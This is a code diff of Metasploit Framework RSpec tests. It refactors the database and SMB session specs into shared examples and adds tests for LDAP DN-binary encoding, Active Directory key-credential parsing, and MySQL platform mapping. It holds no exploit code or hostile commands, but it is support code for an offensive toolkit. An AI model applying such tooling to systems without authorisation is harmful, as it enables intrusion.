expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'resets the console input' do
|
||||
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
|
||||
end
|
||||
|
||||
it 'resets the console output' do
|
||||
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#exit' do
|
||||
subject { session.exit }
|
||||
|
||||
it 'exits the session' do
|
||||
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#address' do
|
||||
subject { session.address }
|
||||
|
||||
it { is_expected.to eq(address) }
|
||||
end
|
||||
|
||||
describe '#port' do
|
||||
subject { session.port }
|
||||
|
||||
it { is_expected.to eq(port) }
|
||||
end
|
||||
it_behaves_like 'client session'
|
||||
end
|
||||
|
||||
@@ -16,7 +16,7 @@ RSpec.describe Msf::Sessions::SMB do
|
||||
let(:description) { 'SMB' }
|
||||
let(:can_cleanup_files) { false }
|
||||
let(:address) { '192.0.2.1' }
|
||||
let(:port) { '1337' }
|
||||
let(:port) { 1337 }
|
||||
let(:peer_info) { "#{address}:#{port}" }
|
||||
|
||||
before(:each) do
|
||||
@@ -27,122 +27,5 @@ RSpec.describe Msf::Sessions::SMB do
|
||||
allow(dispatcher).to receive(:tcp_socket).and_return(rstream)
|
||||
end
|
||||
|
||||
subject(:session) do
|
||||
smb_session = described_class.new(rstream, opts)
|
||||
smb_session.user_input = user_input
|
||||
smb_session.user_output = user_output
|
||||
smb_session.name = name
|
||||
smb_session
|
||||
end
|
||||
|
||||
describe '.type' do
|
||||
it 'should have the correct type' do
|
||||
expect(described_class.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.can_cleanup_files' do
|
||||
it 'should be able to cleanup files' do
|
||||
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#desc' do
|
||||
it 'should have the correct description' do
|
||||
expect(subject.desc).to eq(description)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#type' do
|
||||
it 'should have the correct type' do
|
||||
expect(subject.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
context 'without a client' do
|
||||
let(:opts) { {} }
|
||||
|
||||
it 'raises a KeyError' do
|
||||
expect { subject }.to raise_exception(KeyError)
|
||||
end
|
||||
end
|
||||
context 'with a client' do
|
||||
it 'does not raise an exception' do
|
||||
expect { subject }.not_to raise_exception
|
||||
end
|
||||
end
|
||||
|
||||
it 'creates a new console' do
|
||||
expect(subject.console).to be_a(console_class)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#bootstrap' do
|
||||
subject { session.bootstrap }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'sets the console input' do
|
||||
expect { subject }.to change(session.console, :input).to(user_input)
|
||||
end
|
||||
|
||||
it 'sets the console output' do
|
||||
expect { subject }.to change(session.console, :output).to(user_output)
|
||||
end
|
||||
|
||||
it 'sets the log source' do
|
||||
expect { subject }.to change(session.console, :log_source).to(log_source)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#reset_ui' do
|
||||
before(:each) do
|
||||
session.bootstrap
|
||||
end
|
||||
|
||||
subject { session.reset_ui }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'resets the console input' do
|
||||
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
|
||||
end
|
||||
|
||||
it 'resets the console output' do
|
||||
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#exit' do
|
||||
subject { session.exit }
|
||||
|
||||
it 'exits the session' do
|
||||
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#address' do
|
||||
subject { session.address }
|
||||
|
||||
it { is_expected.to eq(address) }
|
||||
end
|
||||
|
||||
describe '#port' do
|
||||
subject { session.port }
|
||||
|
||||
it { is_expected.to eq(port) }
|
||||
end
|
||||
it_behaves_like 'client session'
|
||||
end
|
||||
|
||||
@@ -66,7 +66,7 @@ RSpec.describe Msf::OptionGroup do
|
||||
end
|
||||
|
||||
it 'validates the options in the group' do
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
@@ -78,7 +78,7 @@ RSpec.describe Msf::OptionGroup do
|
||||
end
|
||||
|
||||
it 'validates the options in the group' do
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
@@ -89,7 +89,7 @@ RSpec.describe Msf::OptionGroup do
|
||||
end
|
||||
|
||||
it 'does not attempt to validate the options' do
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -118,7 +118,7 @@ RSpec.describe Msf::OptionGroup do
|
||||
end
|
||||
|
||||
it 'validates the options in the group' do
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
|
||||
@@ -129,7 +129,7 @@ RSpec.describe Msf::OptionGroup do
|
||||
end
|
||||
|
||||
it 'does not attempt to validate the options' do
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error(Msf::OptionValidateError)
|
||||
expect { subject.validate(options, datastore) }.not_to raise_error
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -4,7 +4,6 @@ require 'spec_helper'
|
||||
require 'rex/post/mssql'
|
||||
|
||||
RSpec.describe Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core do
|
||||
let(:rstream) { instance_double(::Rex::Socket) }
|
||||
let(:client) { instance_double(Rex::Proto::MSSQL::Client) }
|
||||
let(:session) { Msf::Sessions::MSSQL.new(nil, { client: client }) }
|
||||
let(:address) { '192.0.2.1' }
|
||||
@@ -18,9 +17,8 @@ RSpec.describe Rex::Post::MSSQL::Ui::Console::CommandDispatcher::Core do
|
||||
let(:envchange_result) { { type: 1, old: 'master', new: 'master' } }
|
||||
|
||||
before(:each) do
|
||||
allow(client).to receive(:sock).and_return(rstream)
|
||||
allow(client).to receive(:initial_info_for_envchange).with({ envchange: 1 }).and_return(envchange_result)
|
||||
allow(rstream).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(client).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(session).to receive(:client).and_return(client)
|
||||
allow(session).to receive(:console).and_return(console)
|
||||
allow(session).to receive(:name).and_return('test client name')
|
||||
|
||||
@@ -5,13 +5,12 @@ require 'rex/post/mysql/ui/console'
|
||||
require 'rex/proto/mysql/client'
|
||||
|
||||
RSpec.describe Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core do
|
||||
let(:rstream) { instance_double(::Rex::Socket) }
|
||||
let(:client) { instance_double(::Rex::Proto::MySQL::Client) }
|
||||
let(:current_database) { 'database_name' }
|
||||
let(:address) { '192.0.2.1' }
|
||||
let(:port) { '3306' }
|
||||
let(:peerinfo) { "#{address}:#{port}" }
|
||||
let(:session) { Msf::Sessions::MySQL.new(rstream, { client: client }) }
|
||||
let(:session) { Msf::Sessions::MySQL.new(nil, { client: client, platform: Msf::Platform::Linux.realname, arch: ARCH_X86_64 }) }
|
||||
let(:console) do
|
||||
console = Rex::Post::MySQL::Ui::Console.new(session)
|
||||
console.disable_output = true
|
||||
@@ -19,9 +18,8 @@ RSpec.describe Rex::Post::MySQL::Ui::Console::CommandDispatcher::Core do
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(rstream).to receive(:peerinfo).and_return(peerinfo)
|
||||
allow(client).to receive(:peerinfo).and_return(peerinfo)
|
||||
allow(client).to receive(:current_database).and_return(current_database)
|
||||
allow(client).to receive(:socket).and_return(rstream)
|
||||
allow(session).to receive(:console).and_return(console)
|
||||
allow(session).to receive(:name).and_return('test client name')
|
||||
allow(session).to receive(:sid).and_return('test client sid')
|
||||
|
||||
@@ -5,7 +5,6 @@ require 'rex/post/postgresql/ui/console'
|
||||
require 'postgres/postgres-pr/connection'
|
||||
|
||||
RSpec.describe Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher::Core do
|
||||
let(:rstream) { instance_double(::Rex::Socket) }
|
||||
let(:client) { instance_double(Msf::Db::PostgresPR::Connection) }
|
||||
let(:address) { '192.0.2.1' }
|
||||
let(:port) { '5432' }
|
||||
@@ -19,10 +18,9 @@ RSpec.describe Rex::Post::PostgreSQL::Ui::Console::CommandDispatcher::Core do
|
||||
end
|
||||
|
||||
before(:each) do
|
||||
allow(client).to receive(:conn).and_return(rstream)
|
||||
allow(client).to receive(:params).and_return({ 'database' => current_database })
|
||||
allow(client).to receive(:current_database).and_return(current_database)
|
||||
allow(rstream).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(client).to receive(:peerinfo).and_return(peer_info)
|
||||
allow(session).to receive(:client).and_return(client)
|
||||
allow(session).to receive(:console).and_return(console)
|
||||
allow(session).to receive(:name).and_return('test client name')
|
||||
|
||||
Executable
+52
@@ -0,0 +1,52 @@
|
||||
require 'securerandom'
|
||||
|
||||
RSpec.describe Rex::Proto::LDAP::DnBinary do
|
||||
let(:dn) do
|
||||
'CN=User,CN=Users,DC=msf,DC=local'
|
||||
end
|
||||
|
||||
let(:data) do
|
||||
'abc123'
|
||||
end
|
||||
|
||||
let(:sample) do
|
||||
described_class.new(dn, data)
|
||||
end
|
||||
|
||||
it 'encodes to the expected value' do
|
||||
expect(sample.encode).to eq('B:12:616263313233:CN=User,CN=Users,DC=msf,DC=local')
|
||||
end
|
||||
|
||||
it 'encodes an empty value' do
|
||||
initial = described_class.new(dn, '')
|
||||
encoded = initial.encode
|
||||
expect(encoded).to eq('B:0::CN=User,CN=Users,DC=msf,DC=local')
|
||||
decoded = described_class.decode(encoded)
|
||||
expect(decoded.data).to eq('')
|
||||
end
|
||||
|
||||
it 'throws exception with completely wrong format' do
|
||||
expect { described_class.decode('definitely not a DN string') }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'throws exception without DN' do
|
||||
expect { described_class.decode('B:12:616263313233') }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'throws exception on odd number of hex chars' do
|
||||
expect { described_class.decode('B:11:61626331323:the_dn') }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'throws exception on inconsistent number of hex chars' do
|
||||
expect { described_class.decode('B:12:626331323:the_dn') }.to raise_error(ArgumentError)
|
||||
end
|
||||
|
||||
it 'reversibly decodes a random value' do
|
||||
data = SecureRandom.bytes((SecureRandom.rand * 100).to_i + 1)
|
||||
initial = described_class.new(dn, data)
|
||||
encoded = initial.encode
|
||||
decoded = described_class.decode(encoded)
|
||||
expect(decoded.dn).to eq(initial.dn)
|
||||
expect(decoded.data).to eq(initial.data)
|
||||
end
|
||||
end
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
require 'rex/proto/ms_adts/key_credential'
|
||||
|
||||
RSpec.describe Rex::Proto::MsAdts::KeyCredential do
|
||||
|
||||
let(:credential_str) do
|
||||
["00020000200001767b3c80129f41b40503d78436c1c2084c2b79dd81ac19" +
|
||||
"545eaa09a0b1448b41200002508e0ee3afa57294951857688e9a548d3a1f" +
|
||||
"bfc6f74c1df91f1bf6ef994ca1fe1b010352534131000800000300000000" +
|
||||
"0100000000000000000000010001edcb08aca75908258e2157dca5ef2679" +
|
||||
"90204502a4119482fa2eca16a4134d4a5dbf6eec9771732e1196ee490246" +
|
||||
"88dfbe51905343fb85a946b82e76a0e9b720d16c576f6b51a930ab69d134" +
|
||||
"48ac0f5a2722b00559eb25a8359f9b0d00fc52f9fc44f84d0dfb15d45d3c" +
|
||||
"af9c98ff7f0258867855916aa42d36042dc365717257be6f076cbc6ee282" +
|
||||
"14ab653860d18778fc45b9bb5c6f9b31d9b166a9000332d0c486f0d09a63" +
|
||||
"ffdd9e6d9cdbe89f6bd8c79b69d90d133d9eb8893999628bcddd107876c1" +
|
||||
"b025872ba6657ecf92b673e24ee4f6eabc52c0f5907ec4cf57627a12752e" +
|
||||
"587499893aae1bff5461f4d55e025d1ff7646baaf1b6500f6e2493174a79" +
|
||||
"010004010100050010000695c280f0bc6f290e4c8b6ad1d1b3545c020007" +
|
||||
"0100080008ecab5af7ce7fda01080009ecab5af7ce7fda01"].pack('H*')
|
||||
end
|
||||
let(:credential_struct) do
|
||||
raw = credential_str
|
||||
Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct.read(raw)
|
||||
end
|
||||
|
||||
it 'parses the expected value' do
|
||||
expect(credential_struct).to be_a Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct
|
||||
credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct)
|
||||
expect(credential.public_key.e.to_i).to eq(65537)
|
||||
expect(credential.public_key.n.to_i).to eq(30018598016909958640634853359759879550963200968043190152563783141554063738803530478839278609618973243780651826483205062757856223334872753534090760739709274582276885780114654791667392922235140822454036631549826712343512885423676381458429138803216305582530459349913700854720727598363220647901324366195130526789275685153466162756392687731569674974764917142530663770836683438609032320698328081684727231191567760732169431689494442498488083773992436698936823783263783535359718960574840595186049492067279886083653830420133872397484908514196242186454757791227057108296064066345936039955504692575343132997344017910838318287481)
|
||||
expect(credential.key_approximate_last_logon_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime)
|
||||
expect(credential.key_creation_time).to eq('2024-03-27 09:43:05 +1100'.to_datetime)
|
||||
expect(credential.key_hash).to eq(['508e0ee3afa57294951857688e9a548d3a1fbfc6f74c1df91f1bf6ef994ca1fe'].pack('H*'))
|
||||
expect(credential.device_id).to eq('f080c295-6fbc-0e29-4c8b-6ad1d1b3545c')
|
||||
expect(credential.key_id).to eq(["767b3c80129f41b40503d78436c1c2084c2b79dd81ac19545eaa09a0b1448b41"].pack('H*'))
|
||||
expect(credential.key_usage).to eq(Rex::Proto::MsAdts::KeyCredential::KEY_USAGE_NGC)
|
||||
end
|
||||
|
||||
it 'writing is the inverse of reading' do
|
||||
expect(credential_struct).to be_a Rex::Proto::MsAdts::MsAdtsKeyCredentialStruct
|
||||
credential = Rex::Proto::MsAdts::KeyCredential.from_struct(credential_struct)
|
||||
result = credential.to_struct.to_binary_s
|
||||
expect(result).to eq credential_str
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,32 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/mysql/client'
|
||||
|
||||
RSpec.describe Rex::Proto::MSSQL::Client do
|
||||
let(:host) { '127.0.0.1' }
|
||||
let(:port) { 1234 }
|
||||
let(:info) { "#{host}:#{port}" }
|
||||
let(:db_name) { 'my_db_name' }
|
||||
let(:framework_module) { ::Msf::Module.new }
|
||||
|
||||
subject do
|
||||
client = described_class.new(framework_module, nil, host, port)
|
||||
client.current_database = db_name
|
||||
client
|
||||
end
|
||||
|
||||
it_behaves_like 'session compatible SQL client'
|
||||
|
||||
describe '#current_database' do
|
||||
context 'we have not selected a database yet' do
|
||||
subject do
|
||||
described_class.new(framework_module, nil, host, port)
|
||||
end
|
||||
|
||||
it 'returns an empty database name' do
|
||||
expect(subject.current_database).to eq('')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -4,13 +4,77 @@ require 'spec_helper'
|
||||
require 'rex/proto/mysql/client'
|
||||
|
||||
RSpec.describe Rex::Proto::MySQL::Client do
|
||||
let(:host) { '127.0.0.1' }
|
||||
let(:port) { 1234 }
|
||||
let(:info) { "#{host}:#{port}" }
|
||||
let(:db_name) { 'my_db_name' }
|
||||
|
||||
subject do
|
||||
addr_info = instance_double(Addrinfo, ip_address: host, ip_port: port)
|
||||
socket = instance_double(Socket, remote_address: addr_info)
|
||||
client = described_class.new(io: socket)
|
||||
allow(client).to receive(:session_track).and_return({ 1 => [db_name] })
|
||||
client
|
||||
end
|
||||
|
||||
it { is_expected.to be_a ::Mysql }
|
||||
|
||||
[
|
||||
{ method: :peerhost, return_type: String },
|
||||
{ method: :peerport, return_type: Integer },
|
||||
{ method: :current_database, return_type: String }
|
||||
].each do |method_hash|
|
||||
it { is_expected.to respond_to method_hash[:method] }
|
||||
it_behaves_like 'session compatible SQL client'
|
||||
|
||||
describe '#current_database' do
|
||||
context 'we have not selected a database yet' do
|
||||
before(:each) do
|
||||
allow(subject).to receive(:session_track).and_return({})
|
||||
end
|
||||
|
||||
it 'returns an empty database name' do
|
||||
expect(subject.current_database).to eq('')
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#map_compile_os_to_platform' do
|
||||
[
|
||||
{ info: 'linux', expected: Msf::Platform::Linux.realname },
|
||||
{ info: 'linux2.6', expected: Msf::Platform::Linux.realname },
|
||||
{ info: 'debian-linux-gnu', expected: Msf::Platform::Linux.realname },
|
||||
{ info: 'win', expected: Msf::Platform::Windows.realname },
|
||||
{ info: 'windows', expected: Msf::Platform::Windows.realname },
|
||||
{ info: 'darwin', expected: Msf::Platform::OSX.realname },
|
||||
{ info: 'osx', expected: Msf::Platform::OSX.realname },
|
||||
{ info: 'macos', expected: Msf::Platform::OSX.realname },
|
||||
{ info: 'unix', expected: Msf::Platform::Unix.realname },
|
||||
{ info: 'solaris', expected: Msf::Platform::Solaris.realname },
|
||||
{ info: '', expected: Msf::Platform::Unknown.realname },
|
||||
{ info: 'blank', expected: Msf::Platform::Unknown.realname },
|
||||
{ info: nil, expected: Msf::Platform::Unknown.realname },
|
||||
].each do |test|
|
||||
it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do
|
||||
expect(subject.map_compile_os_to_platform(test[:info])).to eq(test[:expected])
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
describe '#map_compile_arch_to_architecture' do
|
||||
[
|
||||
{ info: 'x86_64', expected: ARCH_X86_64 },
|
||||
{ info: 'x86_x64', expected: ARCH_X86_64 },
|
||||
{ info: 'x64', expected: ARCH_X86_64 },
|
||||
{ info: '64', expected: ARCH_X86_64 },
|
||||
{ info: 'x86', expected: ARCH_X86 },
|
||||
{ info: '86', expected: ARCH_X86 },
|
||||
{ info: 'i686', expected: ARCH_X86 },
|
||||
{ info: 'arm64', expected: ARCH_AARCH64 },
|
||||
{ info: 'arm', expected: ARCH_AARCH64 },
|
||||
{ info: 'sparc', expected: ARCH_SPARC },
|
||||
{ info: 'sparc64', expected: ARCH_SPARC64 },
|
||||
{ info: '', expected: '' },
|
||||
{ info: 'blank', expected: '' },
|
||||
{ info: nil, expected: '' },
|
||||
].each do |test|
|
||||
it "correctly identifies '#{test[:info]}' as '#{test[:expected]}'" do
|
||||
expect(subject.map_compile_arch_to_architecture(test[:info])).to eq(test[:expected])
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,23 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'postgres/postgres-pr/connection'
|
||||
|
||||
RSpec.describe Msf::Db::PostgresPR::Connection do
|
||||
let(:host) { '127.0.0.1' }
|
||||
let(:port) { 1234 }
|
||||
let(:info) { "#{host}:#{port}" }
|
||||
let(:db_name) { 'my_db_name' }
|
||||
let(:socket) { double(Rex::Socket, peerhost: host, peerport: port) }
|
||||
let(:message) { Msf::Db::PostgresPR::ReadyForQuery.new('') }
|
||||
|
||||
subject do
|
||||
allow(socket).to receive(:<<)
|
||||
allow(Msf::Db::PostgresPR::Message).to receive(:read).and_return(message)
|
||||
allow(Rex::Socket).to receive(:create).and_return(socket)
|
||||
client = described_class.new(db_name, 'username', 'password', "tcp://#{host}:#{port}")
|
||||
client
|
||||
end
|
||||
|
||||
it_behaves_like 'session compatible SQL client'
|
||||
end
|
||||
@@ -0,0 +1,18 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'spec_helper'
|
||||
require 'rex/proto/smb/simple_client'
|
||||
|
||||
RSpec.describe Rex::Proto::SMB::SimpleClient do
|
||||
let(:host) { '127.0.0.1' }
|
||||
let(:port) { 1234 }
|
||||
let(:info) { "#{host}:#{port}" }
|
||||
|
||||
subject do
|
||||
socket = instance_double(Rex::Socket, peerinfo: info)
|
||||
client = described_class.new(socket)
|
||||
client
|
||||
end
|
||||
|
||||
it_behaves_like 'session compatible client'
|
||||
end
|
||||
@@ -0,0 +1,122 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
RSpec.shared_examples 'client session' do
|
||||
subject(:session) do
|
||||
session = described_class.new(nil, opts)
|
||||
session.user_input = user_input
|
||||
session.user_output = user_output
|
||||
session.name = name
|
||||
session
|
||||
end
|
||||
|
||||
describe '.type' do
|
||||
it 'should have the correct type' do
|
||||
expect(described_class.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '.can_cleanup_files' do
|
||||
it 'should be able to cleanup files' do
|
||||
expect(described_class.can_cleanup_files).to eq(can_cleanup_files)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#desc' do
|
||||
it 'should have the correct description' do
|
||||
expect(subject.desc).to eq(description)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#type' do
|
||||
it 'should have the correct type' do
|
||||
expect(subject.type).to eq(type)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#initialize' do
|
||||
context 'without a client' do
|
||||
let(:opts) { {} }
|
||||
|
||||
it 'raises a KeyError' do
|
||||
expect { subject }.to raise_exception(KeyError)
|
||||
end
|
||||
end
|
||||
context 'with a client' do
|
||||
it 'does not raise an exception' do
|
||||
expect { subject }.not_to raise_exception
|
||||
end
|
||||
end
|
||||
|
||||
it 'creates a new console' do
|
||||
expect(subject.console).to be_a(console_class)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#bootstrap' do
|
||||
subject { session.bootstrap }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'sets the console input' do
|
||||
expect { subject }.to change(session.console, :input).to(user_input)
|
||||
end
|
||||
|
||||
it 'sets the console output' do
|
||||
expect { subject }.to change(session.console, :output).to(user_output)
|
||||
end
|
||||
|
||||
it 'sets the log source' do
|
||||
expect { subject }.to change(session.console, :log_source).to(log_source)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#reset_ui' do
|
||||
before(:each) do
|
||||
session.bootstrap
|
||||
end
|
||||
|
||||
subject { session.reset_ui }
|
||||
|
||||
it 'keeps the sessions user input' do
|
||||
expect { subject }.not_to change(session, :user_input).from(user_input)
|
||||
end
|
||||
|
||||
it 'keeps the sessions user output' do
|
||||
expect { subject }.not_to change(session, :user_output).from(user_output)
|
||||
end
|
||||
|
||||
it 'resets the console input' do
|
||||
expect { subject }.to change(session.console, :input).from(user_input).to(nil)
|
||||
end
|
||||
|
||||
it 'resets the console output' do
|
||||
expect { subject }.to change(session.console, :output).from(user_output).to(nil)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#exit' do
|
||||
subject { session.exit }
|
||||
|
||||
it 'exits the session' do
|
||||
expect { subject }.to change(session.console, :stopped?).from(false).to(true)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#address' do
|
||||
subject { session.address }
|
||||
|
||||
it { is_expected.to eq(address) }
|
||||
end
|
||||
|
||||
describe '#port' do
|
||||
subject { session.port }
|
||||
|
||||
it { is_expected.to eq(port) }
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,37 @@
|
||||
# frozen_string_literal: true
|
||||
|
||||
RSpec.shared_examples 'session compatible client' do
|
||||
it { is_expected.to respond_to(:peerhost).with(0).arguments }
|
||||
it { is_expected.to respond_to(:peerport).with(0).arguments }
|
||||
it { is_expected.to respond_to(:peerinfo).with(0).arguments }
|
||||
|
||||
describe '#peerhost' do
|
||||
it 'returns the ip address' do
|
||||
expect(subject.peerhost).to eq(host)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#peerport' do
|
||||
it 'returns the port number' do
|
||||
expect(subject.peerport).to eq(port)
|
||||
end
|
||||
end
|
||||
|
||||
describe '#peerinfo' do
|
||||
it 'returns the peer info' do
|
||||
expect(subject.peerinfo).to eq(info)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
RSpec.shared_examples 'session compatible SQL client' do
|
||||
it_behaves_like 'session compatible client'
|
||||
|
||||
it { is_expected.to respond_to(:current_database).with(0).arguments }
|
||||
|
||||
describe '#current_database' do
|
||||
it 'returns the database name' do
|
||||
expect(subject.current_database).to eq(db_name)
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,78 @@
|
||||
require 'rex/post/meterpreter/extensions/stdapi/command_ids'
|
||||
require 'rex'
|
||||
|
||||
lib = File.join(Msf::Config.install_root, "test", "lib")
|
||||
$LOAD_PATH.push(lib) unless $LOAD_PATH.include?(lib)
|
||||
require 'module_test'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
|
||||
include Msf::ModuleTest::PostTest
|
||||
include Msf::ModuleTest::PostTestFileSystem
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Testing MSSQL sessions work',
|
||||
'Description' => %q{ This module will test the mssql sessions work },
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'zachgoldman'],
|
||||
'Platform' => all_platforms,
|
||||
'SessionTypes' => [ 'mssql' ]
|
||||
)
|
||||
)
|
||||
end
|
||||
|
||||
def setup
|
||||
super
|
||||
end
|
||||
|
||||
def cleanup
|
||||
super
|
||||
end
|
||||
|
||||
def test_console_query
|
||||
it "should return a version" do
|
||||
stdout = with_mocked_console(session) { |console| console.run_single("query 'select @@version;'") }
|
||||
ret = true
|
||||
ret &&= stdout.buf.match?(/Microsoft SQL Server \d+.\d+/)
|
||||
ret
|
||||
end
|
||||
end
|
||||
|
||||
def test_console_help
|
||||
it "should support the help command" do
|
||||
stdout = with_mocked_console(session) { |console| console.run_single("help") }
|
||||
ret = true
|
||||
ret &&= stdout.buf.include?('Core Commands')
|
||||
ret &&= stdout.buf.include?('MSSQL Client Commands')
|
||||
ret
|
||||
end
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def all_platforms
|
||||
Msf::Module::Platform.subclasses.collect { |c| c.realname.downcase }
|
||||
end
|
||||
|
||||
# Wrap the console with a mocked stdin/stdout for testing purposes. This ensures the console
|
||||
# will not write the real stdout, and the contents can be verified in the test
|
||||
# @param [Session] session
|
||||
# @return [Rex::Ui::Text::Output::Buffer] the stdout buffer
|
||||
def with_mocked_console(session)
|
||||
old_input = session.console.input
|
||||
old_output = session.console.output
|
||||
|
||||
mock_input = Rex::Ui::Text::Input.new
|
||||
mock_output = Rex::Ui::Text::Output::Buffer.new
|
||||
|
||||
session.console.init_ui(mock_input, mock_output)
|
||||
yield session.console
|
||||
|
||||
mock_output
|
||||
ensure
|
||||
session.console.init_ui(old_input, old_output)
|
||||
end
|
||||
end
|
||||
Reference in New Issue
Block a user